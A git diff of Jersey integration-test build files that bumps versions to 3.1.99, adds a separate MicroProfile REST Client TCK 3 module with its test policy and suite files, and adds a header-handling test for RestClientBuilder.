             <groupId>io.smallrye.config</groupId>
             <artifactId>smallrye-config</artifactId>
@@ -62,21 +79,15 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.eclipse.microprofile.rest.client</groupId>
-            <artifactId>microprofile-rest-client-tck</artifactId>
-            <version>${microprofile.rest.client.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
             <groupId>org.testng</groupId>
             <artifactId>testng</artifactId>
-            <version>${testng6.version}</version>
+            <version>${testng.version}</version>
             <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.wiremock</groupId>
             <artifactId>wiremock</artifactId>
-            <version>${wiremock.version}</version>
+            <version>${wiremock.jetty11.version}</version>
             <scope>test</scope>
             <exclusions>
                 <exclusion>
@@ -171,6 +182,11 @@
             <scope>test</scope>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-multipart</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.ext.cdi</groupId>
             <artifactId>jersey-weld2-se</artifactId>
             <scope>test</scope>
@@ -190,7 +206,7 @@
                     <name>skipTests</name>
                     <value>!true</value>
                 </property>
-                <jdk>[11,)</jdk>
+                <jdk>[17,)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -239,11 +255,20 @@
                 </plugins>
             </build>
         </profile>
+        <profile>
+            <id>securityOff</id>
+            <activation>
+                <jdk>[24,)</jdk>
+            </activation>
+            <properties>
+                <surefire.security.argline />
+            </properties>
+        </profile>
     </profiles>
 
     <properties>
         <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/server.policy</surefire.security.argline>
-        <jetty.version>${jetty9.version}</jetty.version>
+        <jetty.version>${jetty11.version}</jetty.version>
     </properties>
 
 
diff --git a/tests/integration/microprofile/rest-client-tck3/pom.xml b/tests/integration/microprofile/rest-client-tck3/pom.xml
new file mode 100644
index 0000000..c26ac72
--- /dev/null
+++ b/tests/integration/microprofile/rest-client-tck3/pom.xml
@@ -0,0 +1,262 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>microprofile-integration-project</artifactId>
+        <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-rest-client-tck3</artifactId>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.ext.microprofile</groupId>
+            <artifactId>jersey-mp-rest-client</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <!-- Overrides CDI from parent pom -->
+        <dependency>
+            <groupId>jakarta.enterprise</groupId>
+            <artifactId>jakarta.enterprise.cdi-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.ejb</groupId>
+            <artifactId>jakarta.ejb-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.weld.se</groupId>
+            <artifactId>weld-se-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>javax.servlet</groupId>
+            <artifactId>javax.servlet-api</artifactId>
+            <version>4.0.1</version>
+        </dependency>
+        <dependency>
+            <groupId>io.smallrye.config</groupId>
+            <artifactId>smallrye-config</artifactId>
+            <version>${smallrye.config.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.microprofile.rest.client</groupId>
+            <artifactId>microprofile-rest-client-tck</artifactId>
+            <version>${microprofile.rest.client.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.testng</groupId>
+            <artifactId>testng</artifactId>
+            <version>${testng6.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.github.tomakehurst</groupId>
+            <artifactId>wiremock</artifactId>
+            <version>${wiremock.jetty9.version}</version>
+            <scope>test</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-server</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-servlet</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-servlets</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-webapp</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-proxy</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>com.google.guava</groupId>
+            <artifactId>guava</artifactId>
+            <version>${guava.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-server</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-servlet</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-servlets</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-webapp</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-proxy</artifactId>
+            <version>${jetty.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.arquillian.testng</groupId>
+            <artifactId>arquillian-testng-container</artifactId>
+            <version>${arquillian.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.arquillian.container</groupId>
+            <artifactId>arquillian-container-test-spi</artifactId>
+            <version>${arquillian.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.arquillian.container</groupId>
+            <artifactId>arquillian-weld-embedded</artifactId>
+            <version>${arquillian.weld.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-bundle</artifactId>
+            <type>pom</type>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-apache-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.ext.cdi</groupId>
+            <artifactId>jersey-weld2-se</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>junit</groupId>
+            <artifactId>junit</artifactId>
+            <version>${junit4.version}</version>
+        </dependency>
+    </dependencies>
+
+    <profiles>
+        <profile>
+            <id>testRunner</id>
+<!-- DO NOT ACTIVATE BY DEFAULT, tests are run by rest-client-tck (4) -->
+<!-- Kept for case of an error found in version 3 -->
+<!--            <activation>-->
+<!--                <property>-->
+<!--                    <name>skipTests</name>-->
+<!--                    <value>!true</value>-->
+<!--                </property>-->
+<!--                <jdk>[17,)</jdk>-->
+<!--            </activation>-->
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-surefire-plugin</artifactId>
+                        <dependencies>
+                            <dependency>
+                                <groupId>org.apache.maven.surefire</groupId>
+                                <artifactId>surefire-junit47</artifactId>
+                                <version>${surefire.mvn.plugin.version}</version>
+                            </dependency>
+                            <dependency>
+                                <groupId>org.apache.maven.surefire</groupId>
+                                <artifactId>surefire-testng</artifactId>
+                                <version>${surefire.mvn.plugin.version}</version>
+                            </dependency>
+                        </dependencies>
+                        <configuration>
+                            <threadCount>1</threadCount>
+                            <suiteXmlFiles>
+                                <suiteXmlFile>tck-suite.xml</suiteXmlFile>
+                            </suiteXmlFiles>
+<!--                            <argLine>-verbose:class</argLine>-->
+                        </configuration>
+                    </plugin>
+                    <plugin>
+                        <groupId>uk.co.deliverymind</groupId>
+                        <artifactId>wiremock-maven-plugin</artifactId>
+                        <version>${wiremock.mvn.plugin.version}</version>
+                        <executions>
+                            <execution>
+                                <phase>test-compile</phase>
+                                <goals>
+                                    <goal>run</goal>
+                                </goals>
+                                <configuration>
+                                    <dir>target/classes</dir>
+                                    <params>--port=8765</params>
+                                    <!-- Enable verbose for more detailed output-->
+                                    <!-- <params>&#45;&#45;verbose</params>-->
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>securityOff</id>
+            <activation>
+                <jdk>[24,)</jdk>
+            </activation>
+            <properties>
+                <surefire.security.argline />
+            </properties>
+        </profile>
+    </profiles>
+
+    <properties>
+        <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/server.policy</surefire.security.argline>
+        <jetty.version>${jetty9.version}</jetty.version>
+        <microprofile.rest.client.version>${microprofile.rest.client3.version}</microprofile.rest.client.version>
+    </properties>
+
+
+</project>
diff --git a/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml b/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml
new file mode 100644
index 0000000..fffd8c9
--- /dev/null
+++ b/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<arquillian xmlns="http://jboss.org/schema/arquillian"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="
+        http://jboss.org/schema/arquillian
+        http://jboss.org/schema/arquillian/arquillian_1_0.xsd">
+
+    <engine>
+        <property name="deploymentExportPath">target/deployments</property>
+    </engine>
+</arquillian>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy
index dd25372..d448842 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,6 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+grant {
+  permission java.security.AllPermission;
+};
diff --git a/tests/integration/microprofile/rest-client-tck3/tck-suite.xml b/tests/integration/microprofile/rest-client-tck3/tck-suite.xml
new file mode 100644
index 0000000..c83fae3
--- /dev/null
+++ b/tests/integration/microprofile/rest-client-tck3/tck-suite.xml
@@ -0,0 +1,29 @@
+<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
+<!--
+
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<suite name="microprofile-rest-client-TCK" verbose="2" configfailurepolicy="continue">
+
+    <test name="microprofile-rest-client TCK">
+        <packages>
+            <package name="org.eclipse.microprofile.rest.client.tck.*">
+            </package>
+        </packages>
+    </test>
+
+</suite>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml
index b323d26..cdafb5f 100644
--- a/tests/integration/microprofile/rest-client/pom.xml
+++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java
new file mode 100644
index 0000000..fd31fe8
--- /dev/null
+++ b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.microprofile.restclient;
+
+import jakarta.json.Json;
+import jakarta.json.JsonArray;
+import jakarta.json.JsonArrayBuilder;
+import jakarta.json.JsonObject;
+import jakarta.json.JsonObjectBuilder;
+import jakarta.json.JsonString;
+import jakarta.json.JsonValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import org.eclipse.microprofile.rest.client.RestClientBuilder;
+import org.eclipse.microprofile.rest.client.annotation.ClientHeaderParam;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeaderTest {
+    @Path("/")
+    public interface HeaderResource {
+        @GET
+        public String get();
+    }
+
+    @Test
+    public void restclientBuilderWithHeadersTest() {
+        String headerName = "BUILDER_HEADER";
+        String headerValue = "BUILDER_VALUE";
+        HeaderResource resource = RestClientBuilder.newBuilder()
+                .baseUri("http://localhost:8080")
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        if (requestContext.getHeaders().containsKey(headerName)) {
+                            requestContext.abortWith(Response.ok(requestContext.getHeaders().getFirst(headerName)).build());
+                        } else {
+                            requestContext.abortWith(Response.ok("no_header").build());
+                        }
+                    }
+                })
+                .header(headerName, headerValue)
+                .build(HeaderResource.class);
+        Assertions.assertEquals(headerValue, resource.get());
+    }
+
+    @ClientHeaderParam(name = "InterfaceAndBuilderHeader", value = "interface")
+    @Path("/")
+    public interface ClientBuilderHeaderClient {
+
+        @GET
+        JsonObject getAllHeaders(@HeaderParam("HeaderParam") String param);
+    }
+
+    public static class ReturnWithAllDuplicateClientHeadersFilter implements ClientRequestFilter {
+
+        @Override
+        public void filter(ClientRequestContext clientRequestContext) throws IOException {
+            JsonObjectBuilder allClientHeaders = Json.createObjectBuilder();
+            MultivaluedMap<String, Object> clientHeaders = clientRequestContext.getHeaders();
+            for (String headerName : clientHeaders.keySet()) {
+                List<Object> header = clientHeaders.get(headerName);
+                final JsonArrayBuilder headerValues = Json.createArrayBuilder();
+                header.forEach(h -> headerValues.add(h.toString()));
+                allClientHeaders.add(headerName, headerValues);
+            }
+            clientRequestContext.abortWith(Response.ok(allClientHeaders.build()).build());
+        }
+
+    }
+
+    @Test
+    public void testHeaderBuilderInterface() {
+
+        RestClientBuilder builder = RestClientBuilder.newBuilder().baseUri("http://localhost:8080/");
+        builder.register(ReturnWithAllDuplicateClientHeadersFilter.class);
+        builder.header("InterfaceAndBuilderHeader", "builder");
+        ClientBuilderHeaderClient client = builder.build(ClientBuilderHeaderClient.class);
+
+        checkHeaders(client.getAllHeaders("headerparam"), "interface");
+    }
+
+    private static void checkHeaders(final JsonObject headers, final String clientHeaderParamName) {
+        final List<String> clientRequestHeaders = headerValues(headers, "InterfaceAndBuilderHeader");
+
+        assertTrue(clientRequestHeaders.contains("builder"),
+                "Header InterfaceAndBuilderHeader did not container \"builder\": " + clientRequestHeaders);
+        assertTrue(clientRequestHeaders.contains(clientHeaderParamName),
+                "Header InterfaceAndBuilderHeader did not container \"" + clientHeaderParamName + "\": "
+                        + clientRequestHeaders);
+
+        final List<String> headerParamHeaders = headerValues(headers, "HeaderParam");
+        assertTrue(headerParamHeaders.contains("headerparam"),
+                "Header HeaderParam did not container \"headerparam\": " + headerParamHeaders);
+    }
+
+    private static List<String> headerValues(final JsonObject headers, final String headerName) {
+        final JsonArray headerValues = headers.getJsonArray(headerName);
+        Assertions.assertNotNull(headerValues,
+                String.format("Expected header '%s' to be present in %s", headerName, headers));
+        return headerValues.stream().map(
+                        v -> (v.getValueType() == JsonValue.ValueType.STRING ? ((JsonString) v).getString() : v.toString()))
+                .collect(Collectors.toList());
+    }
+
+}
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index 4f5245f..d2ad150 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
     Copyright (c) 2018 Payara Foundation and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.integration</groupId>
@@ -58,30 +58,27 @@
         <module>jersey-4542</module>
         <module>jersey-4697</module>
         <module>jersey-4722</module>
-        <module>microprofile</module>
-        <module>reactive-streams</module>
         <module>jersey-5087</module>
+        <module>microprofile</module>
+        <module>property-check</module>
+        <module>reactive-streams</module>
+        <module>servlet-2.5-reload</module>
+        <module>servlet-3-gf-async</module>
+        <module>servlet-3-sse-1</module>
+        <!--        <module>spring4</module>-->
+        <!--        <module>spring5</module>-->
+        <module>thin-server</module>
     </modules>
 
+    <properties>
+        <env>default</env>
+        <jersey.config.test.container.port>9998</jersey.config.test.container.port>
+        <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file>
+    </properties>
+
     <profiles>
         <profile>
-            <id>default</id>
-            <properties>
-                <env>default</env>
-                <jersey.config.test.container.port>9998</jersey.config.test.container.port>
-            </properties>
-            <activation>
-                <jdk>[1.8,)</jdk>
-<!--                <activeByDefault>true</activeByDefault> does not work ?!-->
-            </activation>
-        </profile>
-        <profile>
             <id>sonar</id>
-            <properties>
-                <env>default</env>
-                <jersey.config.test.container.port>9998</jersey.config.test.container.port>
-                <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file>
-            </properties>
             <build>
                 <pluginManagement>
                     <plugins>
@@ -123,9 +120,9 @@
             </build>
         </profile>
         <profile>
-            <id>Jetty11</id>
+            <id>jdk17</id>
             <activation>
-                <jdk>[11,)</jdk>
+                <jdk>[17,)</jdk>
             </activation>
             <modules>
                 <module>async-jersey-filter</module>
@@ -136,7 +133,6 @@
                 <module>jersey-1223</module>
                 <module>jersey-1604</module>
                 <module>jersey-1667</module>
-<!--                <module>jersey-1829</module> Jakartification-->
                 <module>jersey-1883</module>
                 <module>jersey-1928</module>
                 <module>jersey-1960</module>
@@ -163,7 +159,7 @@
                 <module>jersey-2892</module>
                 <module>jersey-3796</module>
                 <module>jersey-4949</module>
-                <module>property-check</module>
+                <module>resteasy-client</module>
                 <module>security-digest</module>
                 <module>servlet-2.5-autodiscovery-1</module>
                 <module>servlet-2.5-autodiscovery-2</module>
@@ -180,11 +176,9 @@
                 <module>servlet-2.5-mvc-1</module>
                 <module>servlet-2.5-mvc-2</module>
                 <module>servlet-2.5-mvc-3</module>
-                <module>servlet-2.5-reload</module>
                 <module>servlet-3-async</module>
                 <module>servlet-3-chunked-io</module>
                 <module>servlet-3-filter</module>
-                <module>servlet-3-gf-async</module>
                 <module>servlet-3-inflector-1</module>
                 <module>servlet-3-init-1</module>
                 <module>servlet-3-init-2</module>
@@ -197,22 +191,13 @@
                 <module>servlet-3-init-9</module>
                 <module>servlet-3-init-provider</module>
                 <module>servlet-3-params</module>
-                <module>servlet-3-sse-1</module>
                 <module>servlet-4.0-mvc-1</module>
                 <module>servlet-tests</module>
                 <module>servlet-request-wrapper-binding</module>
                 <module>servlet-request-wrapper-binding-2</module>
                 <module>sonar-test</module>
-                <module>tracing-support</module>
-            </modules>
-        </profile>
-        <profile>
-            <id>spring6-jdk17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
                 <module>spring6</module>
+                <module>tracing-support</module>
             </modules>
         </profile>
     </profiles>
@@ -262,8 +247,8 @@
                     </executions>
                 </plugin>
                 <plugin>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-maven-plugin</artifactId>
+                    <groupId>org.eclipse.jetty.ee9</groupId>
+                    <artifactId>jetty-ee9-maven-plugin</artifactId>
                     <version>${jetty.plugin.version}</version>
                     <configuration>
                         <skip>${skip.tests}</skip>
@@ -286,9 +271,45 @@
                             <goals>
                                 <goal>start</goal>
                             </goals>
-                            <configuration>
-                                <scanIntervalSeconds>0</scanIntervalSeconds>
-                            </configuration>
+                        </execution>
+                        <execution>
+                            <id>stop-jetty</id>
+                            <phase>post-integration-test</phase>
+                            <goals>
+                                <goal>stop</goal>
+                            </goals>
+                        </execution>
+                    </executions>
+                </plugin>
+                <plugin>
+                    <groupId>org.eclipse.jetty.ee10</groupId>
+                    <artifactId>jetty-ee10-maven-plugin</artifactId>
+                    <version>${jetty.plugin.version}</version>
+                    <configuration>
+                        <skip>${skip.tests}</skip>
+                        <stopPort>9999</stopPort>
+                        <stopKey>STOP</stopKey>
+                        <stopWait>10</stopWait>
+                        <webApp>
+                            <contextPath>/</contextPath>
+                            <webInfIncludeJarPattern>.*/.*jersey-[^/]\.jar$</webInfIncludeJarPattern>
+                        </webApp>
+                        <httpConnector>
+                            <port>${jersey.config.test.container.port}</port>
+                            <idleTimeout>60000</idleTimeout>
+                        </httpConnector>
+                        <systemProperties>
+                            <PORT>${jersey.config.test.container.port}</PORT>
+                            <IDLE_TIMEOUT>60000</IDLE_TIMEOUT>
+                        </systemProperties>
+                    </configuration>
+                    <executions>
+                        <execution>
+                            <id>start-jetty</id>
+                            <phase>pre-integration-test</phase>
+                            <goals>
+                                <goal>start</goal>
+                            </goals>
                         </execution>
                         <execution>
                             <id>stop-jetty</id>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml
index ef3d8ac..24bb6af 100644
--- a/tests/integration/property-check/pom.xml
+++ b/tests/integration/property-check/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>property-check</artifactId>
@@ -79,6 +79,11 @@
             <scope>test</scope>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jnh-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-server</artifactId>
             <version>${project.version}</version>
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
index 916bf81..00701ff 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
@@ -39,6 +39,7 @@
 import org.glassfish.jersey.internal.util.PropertiesClass;
 import org.glassfish.jersey.internal.util.Property;
 import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties;
 import org.glassfish.jersey.media.multipart.MultiPartProperties;
 import org.glassfish.jersey.message.MessageProperties;
 import org.glassfish.jersey.server.ServerProperties;
@@ -96,6 +97,7 @@
             System.setProperty(ApacheClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(Apache5ClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION, TEST_STRING);
+            System.setProperty(JavaNetHttpClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(MultiPartProperties.TEMP_DIRECTORY, TEST_STRING);
             System.setProperty(OAuth1ServerProperties.REALM, TEST_STRING);
             JerseySystemPropertiesConfigurationModel model = new JerseySystemPropertiesConfigurationModel();
@@ -125,6 +127,8 @@
             assertFalse(properties.containsKey(Apache5ClientProperties.CONNECTION_MANAGER));
             assertEquals(TEST_STRING, properties.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION));
             assertFalse(properties.containsKey(JettyClientProperties.DISABLE_COOKIES));
+            assertEquals(TEST_STRING, properties.get(JavaNetHttpClientProperties.DISABLE_COOKIES));
+            assertFalse(properties.containsKey(JavaNetHttpClientProperties.SSL_PARAMETERS));
             assertEquals(TEST_STRING, properties.get(MultiPartProperties.TEMP_DIRECTORY));
             assertFalse(properties.containsKey(MultiPartProperties.BUFFER_THRESHOLD));
             assertEquals(TEST_STRING, properties.get(OAuth1ServerProperties.REALM));
diff --git a/tests/integration/reactive-streams/pom.xml b/tests/integration/reactive-streams/pom.xml
index 5f9ecaa..c4b3de5 100644
--- a/tests/integration/reactive-streams/pom.xml
+++ b/tests/integration/reactive-streams/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
